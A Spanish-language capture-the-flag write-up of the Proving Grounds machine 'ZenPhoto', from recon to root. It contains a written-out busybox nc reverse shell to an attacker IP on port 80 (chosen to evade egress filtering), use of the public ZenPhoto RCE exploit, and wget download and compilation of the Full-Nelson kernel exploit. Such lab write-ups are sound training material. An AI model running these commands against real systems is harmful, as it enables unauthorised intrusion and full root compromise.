the_open_door
café
ESEN

ZenPhoto

Proving Grounds PracticeMediaLinux192.168.118.41

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#zenphoto#cve-2011-4825#public-exploit#rce#kernel-exploit#full-nelson#cve-2010-4258#oscp
TL;DR. ZenPhoto sirve en /test/ una instalación de la galería ZenPhoto 1.4.1.4, una versión con una RCE no autenticada conocida (CVE-2011-4825, ajax_create_folder.php). El exploit público 18083.php nos da ejecución como www-data y, con busybox nc, una reverse shell. La máquina es un Ubuntu 10.04 con kernel 2.6.37, antiquísimo: el exploit de kernel Full-Nelson (15704.c, CVE-2010-4258) compila en el objetivo y nos lleva a root de un salto.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.118.41
64 bytes from 192.168.118.41: icmp_seq=1 ttl=61 time=31.3 ms

Barremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.41
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  ipp
80/tcp   open  http
3306/tcp open  mysql
nmap -p22,23,80,3306 -sCV 192.168.118.41 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp   open  ipp     CUPS 1.4
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)

Las versiones cantan antigüedad: OpenSSH 5.3p1 y Apache 2.2.14 son de Ubuntu 10.04 (2010). El servicio en el 23 no es telnet sino CUPS 1.4 (con PUT habilitado, una rareza que no llega a explotarse aquí), y MySQL no acepta conexiones anónimas. La superficie real es el HTTP del 80, y un sistema tan viejo ya adelanta que la escalada acabará siendo un exploit de kernel.

HTTP - TCP 80

La raíz no muestra nada útil, así que fuzzeamos rutas. Aparece un directorio /test/:

dirsearch -u http://192.168.118.41 --exclude-status=403,404,503
301  /test  ->  http://192.168.118.41/test/
200  /test/

/test/ es una galería de fotos. Mirando el código fuente de la página, el pie revela la aplicación y su versión exacta: ZenPhoto 1.4.1.4.

Codigo fuente de /test/ con el pie zenphoto version 1.4.1.4 [8157] (Official Build)

Con versión concreta, vamos directos a buscar exploits conocidos:

searchsploit 'ZenPhoto 1.4'
searchsploit -m php/webapps/18083.php
ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution  |  php/webapps/18083.php
   Codes: OSVDB-76928, CVE-2011-4825

Shell como www-data

ZenPhoto 1.4.1.4: RCE no autenticada (CVE-2011-4825)

La vulnerabilidad (CVE-2011-4825) está en ajax_create_folder.php, un endpoint del gestor de ficheros de ZenPhoto que no comprueba autenticación y permite crear y escribir un fichero PHP en el servidor; de ahí a ejecución de comandos hay un paso. El exploit público 18083.php automatiza el proceso y deja una pseudo-shell. Lo renombramos y lo lanzamos contra la instalación de /test/:

php rce.php 192.168.118.41 /test/

Exploit 18083.php en ejecucion: zenphoto-shell# con whoami www-data y la IP 192.168.118.41

+--------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit |
+--------------------------------------------------+

zenphoto-shell# whoami
www-data

Esa shell del exploit es limitada, así que la usamos para lanzar una reverse shell completa. Como en otras cajas de esta tanda, el retorno por puertos altos no vuelve, así que apuntamos al 80 con busybox nc. Dejamos Penelope a la escucha en el 80:

penelope 80

Luego disparamos la reverse shell:

busybox nc 192.168.45.227 80 -e /bin/bash

Penelope recibe la reverse shell desde offsecsrv (192.168.118.41), la promociona a PTY; id devuelve www-data

[+] Got reverse shell from offsecsrv~192.168.118.41-Linux-i686  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
www-data@offsecsrv:/var/www/test/zp-core/.../ajaxfilemanager/inc$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@offsecsrv:...$ whoami
www-data

La sesión entra como www-data en el host offsecsrv. Leemos la primera prueba:

cat local.txt && whoami && ip a && hostname

local.txt leido como www-data en offsecsrv, con whoami www-data y la IP 192.168.118.41

19d58f3c626fb58e811fe6bf22d967d4

Escalada de privilegios

Full-Nelson: exploit de kernel (Ubuntu 10.04, 2.6.37)

La enumeración local no es necesaria muy a fondo: las versiones del recon ya gritaban Ubuntu 10.04. Ese sistema lleva el kernel 2.6.37, vulnerable a varios local privilege escalation clásicos. Buscamos por distribución:

searchsploit 'Ubuntu 10.04'
searchsploit -m linux/local/15704.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation  |  linux/local/15704.c
   Codes: CVE-2010-4258, CVE-2010-3850, CVE-2010-3849

Full-Nelson (exploit de kernel) encadena tres fallos del subsistema Econet para ejecutar código en anillo 0. Servimos el .c desde nuestra máquina, lo descargamos en el objetivo, lo compilamos allí mismo (la caja tiene gcc) y lo ejecutamos:

python3 -m http.server 8081
wget http://192.168.45.227:8081/15704.c
gcc 15704.c -o a.out
./a.out

Full-Nelson compilado y ejecutado: resuelve direcciones del kernel y termina en Got root!; id devuelve uid=0

[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xf82062d0
 [+] Resolved commit_creds to 0xc016dcc0
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root)

El uid=0(root) confirma la escalada. Leemos la prueba final:

cat /root/proof.txt && ip a && hostname && whoami

proof.txt leido como root en offsecsrv, con hostname offsecsrv y whoami root

c6a70ba214b4be51abd7896d9b2a9b26

Cadena de ataque

Apache 2.2.14 (TCP 80)  ->  /test/  =  ZenPhoto 1.4.1.4
        │  ajax_create_folder.php  ──  CVE-2011-4825  ──  RCE no autenticada (18083.php)
        │  busybox nc hacia el 80 (puerto de salida permitido)
        ▼
shell como www-data  (local.txt)
        │  sistema Ubuntu 10.04, kernel 2.6.37
        │  Full-Nelson (15704.c, CVE-2010-4258)  ->  gcc + ./a.out
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • La versión exacta es la mitad del trabajo. Leer el pie del código fuente reveló ZenPhoto 1.4.1.4, y de ahí a searchsploit y al CVE-2011-4825 fue directo. Ocultar o, mejor, actualizar las versiones expuestas cierra la vía más barata del atacante.
  • Software sin mantenimiento = RCE pública. ZenPhoto 1.4.1.4 (2011) arrastra una RCE no autenticada conocida; no hizo falta descubrir nada, solo aplicar un exploit publicado. Mantener las aplicaciones al día es la única defensa real.
  • Un kernel viejo es escalada casi garantizada. Las versiones del recon (OpenSSH 5.3, Apache 2.2.14) ya delataban un Ubuntu 10.04; el kernel 2.6.37 cayó con Full-Nelson. Conviene matizar: los exploits de kernel pueden tumbar la máquina, así que en un entorno real se reservan para el final.
  • El filtrado de salida marca el puerto de retorno. El retorno por un puerto alto no volvía; apuntar la reverse shell al 80, ya abierto, evita ese control.
Cheatsheet de comandos 10 comandos

Repaso rápido